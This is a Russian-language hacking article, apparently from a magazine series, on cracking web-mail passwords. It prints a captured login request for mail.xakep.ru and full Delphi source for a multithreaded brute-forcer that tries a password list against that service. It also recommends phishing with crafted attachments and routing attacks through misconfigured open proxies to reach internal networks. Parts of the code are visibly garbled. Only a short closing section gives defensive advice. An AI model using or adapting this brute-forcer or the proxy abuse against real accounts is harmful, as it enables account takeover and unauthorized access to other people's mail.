Продолжение статьи по ПОПЫТКАМ взлома мыла. Для тех, кто в бронепоезде (крупными буквами): Я НЕ ПИШУ КАК ВЗЛАМЫВАТЬ МЫЛО. Я ЗАНИМАЮСЬ ИССЛЕДОВАНИЯМИ, ДЕЛЮСЬ НЕКОТОРЫМИ ПРИЕМАМИ КОДИНГА И ПРИКАЛЫВАЮСЬ НАД ОДНОЙ ТЕМОЙ В ФОРУМЕ (см. первую статью). Это мое личное право. Стандатной программы по взлому мыла с одной кнопкой "Hack it" не бывает. Есть человеческий фактор, который можно использовать. Попытка взлома мыла - это пару часов и чуть-чуть подождать. Самый лучший метод - социальная инженерия. Писать письма с определенным сообщением, с атачами, подходящими под это сообщение. А не так, как мне один виры уже 2 месяца шлет. Размер - 130 кило. Без комментариев. Задолбался уже в диспечере писем на кнопку "переименовать и удалить" жать, а поставщику его инет услуг написать облом. Скажу сразу обо всех описанных способах - если сразу не получилось, то lim(100)% уже и не получится. Только трата времени и инет-ресурсов. Это были основные выводы по мылу. Эти статьи предоставляют интерес (по моему мнению) с точки зрения исследований и приемов кодинга. А что таким образом исследовать и сканировать - умный человек найдет. Это основные выводы по статьям. Продолжим.
HTTP - сервис. 80 порт (чаще всего). Для написания проги, нам понадобятся дополнительные инструменты для ведения логов некоторых запросов. Это port-mapper или tcp-logger. Программы, способные вести лог запросов по выбранному протоколу. Почему не сниффер? Потому, что забивать гвозди микроскопом не удобно. Для прослушки порта можно взять xspider, по port-mapper есть хорошая статья на http://www.uinc.ru/index.html, tcp-logger с исходниками можно взять там же. Tcp-logger - это как бы локальный прокси (в броузере надо вписать в поле прокси наш адрес и порт, на котором стоит прога), который получает пакеты от клиента, записывает их в лог и отсылает другому прокси в цепочке. Тот запрашивает сервер и возвращает ответы нам. tcp-logger получает их, опять пишет лог и передает клиенту. Как и обещал, будем исследовать mail.xakep.ru. Заходим броузером. Видим поля для ввода имени и пароля. Естественно, после ввода данных, будет сформирован и отослан url, содержащий эти данные. Включаем tcp-logger. Вот лог запроса на вход:
GET http://mail.xakep.ru/cgi-bin/mail?username=USER&domain=xakep.ru&password=PASSWORD&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/pdf, */* Accept-Language: ru User-Agent: Mozilla/9.0 (compatible; MSIE 9.0; Windows NT 8.0; qwerty) Host: mail.xakep.ru Proxy-Connection: Keep-Alive
Для сканера-брутфорсера, нам нужно найти отличие ответов сервера на правильный пароль и не правильный. Для этого надо их ввести. На правильный пароль ответ:
HTTP/1.0 200 OK Date: Fue, 32 May 2002 08:11:01 GMT Server: Apache Cache-Control: no-store Content-Language: en-us Pragma: no-cache Vary: Accept-Language Content-Type: text/html; charset=windows-1251 X-Cache: MISS from proxy.proxy.proxy Proxy-Connection: close
SKIP
Вот лог ответа на неправильный пароль:
HTTP/1.0 200 OK Date: Fue, 32 May 2002 08:11:58 GMT Server: Apache Cache-Control: no-store Content-Language: en-us Pragma: no-cache Vary: Accept-Language Content-Type: text/html; charset=windows-1251 X-Cache: MISS from proxy.proxy.proxy Proxy-Connection: close
SKIP
Таким образом, для того, чтобы сравнить отличие ответов, надо получить всего около 300 байт (в неправильном пароле есть , в правильном его нет). Брутфорсер будет очень похож на cgi-scaner и брутфорсер для запароленных ресурсов, с дной только разницей, что сравнивать мы будем не первые строки с ответом 200 или 500, а несколько больший кусок данных. По сравнению с брутфорсом для POP3, этот имеет ряд преимуществ:
Не надо на каждый запрос инициализировать сокет. Разрыв соединения при неправильном пароле не происходит, поэтому его можно инициализировать только на каждый процесс. Надо послать один запрос и получить один ответ, а не три. Можно использовать стандартный прокси. Итак, Опять делаем новое приложение, новое окно, кнопку и ProgreesBar. Вот исходники HTTP-брутфорсера:
type TForm1 = class(TForm) Button1: TButton; ProgressBar1: TProgressBar; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end;
// Описание процесса type TScan = class(TThread) sock2: TSocket; addr: TSockAddrIn; WSAData: TWSAData; private procedure CScan; protected procedure Execute; override; end;
var Form1: TForm1; // Массив процессов Sock : array[1..255] of TScan; Rez : boolean = false; // Кол-во запущенных процессов на данный момент I0 : Integer; // Номер текущего пароля I : Integer; // TStringGrid-ы с паролями и с логом PassList, DopList1 : TStringList;
const FilePass = 'pass.txt'; // Файл с паролями в каталоге проги ProcCount = 10; // кол-во процессов // Адрес прокси через который будет сканирование. // Лучше отпинговать сначала HTTPserv = 'proxy.address.net'; User = 'USER';
implementation
// Для преобразование имени type TaPInAddr = array [0..255] of PInAddr; PaPInAddr = ^TaPInAddr;
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject); begin PassList:=TStringList.Create; DopList1:=TStringList.Create; end;
// Запуск / Остановка procedure TForm1.Button1Click(Sender: TObject); var J0 : Integer; begin if Rez then begin Rez:=false; for J0:=1 to I0 do try Sock[J0].Terminate; except end; end else begin // Открытие и загрузка файла паролей try PassList.Clear; PassList.LoadFromFile(FilePass); except end; if PassList.CountProcCount)or(not Rez) then break; if I0 mod 100 = 0 then DopList1.Text:=IntToStr(I0); end; end; end;
// Инициализация процесса procedure TScan.Execute; var iaddr, x0 : Integer; ph : PHostEnt; pptr : PaPInAddr; InAddr : TInAddr; begin try // Инициализация сокета WSAStartUp(257, WSAData); sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if sock2=INVALID_SOCKET then begin try closesocket(sock2); except end;
try Terminate; except end; exit; end; // Получение адреса iaddr := inet_addr(HTTPserv); if iaddr 0 then begin try closesocket(sock2); except end;
try Terminate; except end; exit; end; end; // Запуск цикла while true do begin CScan; if (not Rez)or(I>=PassList.Count) then break; end; except end; dec(I0); try Terminate; except end; // Если отмена, закончился список или подобрали if I0<=1 then begin Form1.Button1.Caption:='Hack it'; Rez:=false; Application.ProcessMessages; DopList1.SaveToFile('log.txt'); end; end;
// Процедура сканирования procedure TScan.CScan; var x, I2 : Integer; Buf : string; begin I2:=I; inc(I); Form1.ProgressBar1.Position:=I2+1; Application.ProcessMessages; try // Формирование url Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru&password='+PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0'; // Отправка данных send(sock2,Buf[1],length(Buf),0); // Получение 300 байт setlength(Buf,300); x:=recv(sock2,Buf[1],300,0); if x<300 then exit; setlength(Buf,300); // Если подобрали if pos(Buf,' begin Rez:=false; DopList1.Text:='Pass = '+PassList.Strings[I2]; Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok); exit; end; except end; end;
end.
Такая конструкция будет достаточно быстро работать. Правда, недостаточно быстро для ОЧЕНЬ БОЛЬШИХ файлов с паролями или прямого перебора. Но, само описание и приемы подходят не только для мыла, но и для других HTTP-сервисов. Различные чаты, форумы и т.д. и т.п. Он достаточно просто переделывается в cgi-scaner и в брутфорсер перебора пароля на закрытые на сервере ресурсы.
Анонимность. Прокси. Для HTTP брутфорсера - уже написано. Надо при инициализации сокета, использовать адрес и порт прокси. Для POP3 и прочего: надо юзать SOCKS-proxies. Всю информацию по использованию и настройке можно почитать здесь.
Публичные прокси. Например, есть некоторая локальная сеть, из которой осуществляется выход в инет. На сервере стоит прокси сервер для того, чтобы все в локалке могли открывать сайты, получать почту и т.д. и т.п. Как это не странно, но очень многие забывают поставить соответствующий доступ к этому прокси. Т.к. практически все такие прокси поддерживают получение почты, телнет, HTTP, то сформировав запрос соответствующим образом, можно делать практически все. Не говоря уже о запуске брутфорсеров и т.п. через этот прокси, можно получать доступ ко всей локальной сетке. Обратным адресом будет адрес сервера с прокси. Об этом мало говорят, но такие сервера есть и их не так и мало. Таким образом, можно применяя технологию спуфинга, получать мыло у прова с уровнем безопасности из первой статьи (получение почты только при выходе в инет через них). В общем, вариантов использования очень много.
Подведем итоги по безопасности:
Если пароль на мыло указать не менее 8-ми случайных цифр и больших, маленьких букв, то подобрать пароль практически невозможно. Используя любой из описанных вариантов. Кол-во возможных вариантов ОЧЕНЬ большое. Это же касается и "Забыл пароль". Для параноиков - его можно менять раз в неделю/месяц. Не пользоваться броузером при получении писем. На всякий случай. Или использовать оперу без установленных сервисов поддержки Java. Не отвечать на подозрительные письма. Лучше быть невежливым, чем... Если есть малейшее подозрение, можешь не сомневаться - это атака на мыло. Отключить в e-mail клиенте автопросмотр html и не пользоваться аутглюком. Есть другие предложения на этом рынке. А ему запретить в firewall вообще куда-либо доступ. Хороший firewall, не только со стандартными функциями и ограничением показа баннеров, но и с автоматическим переименованием приатаченных файлов с выбранными расширениями. Нужно почаще получать письма и удалять их на сервере. Даже если пароль подобран, для чтения писем, атакующему придется очень часто их получать и админ рано или поздно это заметит.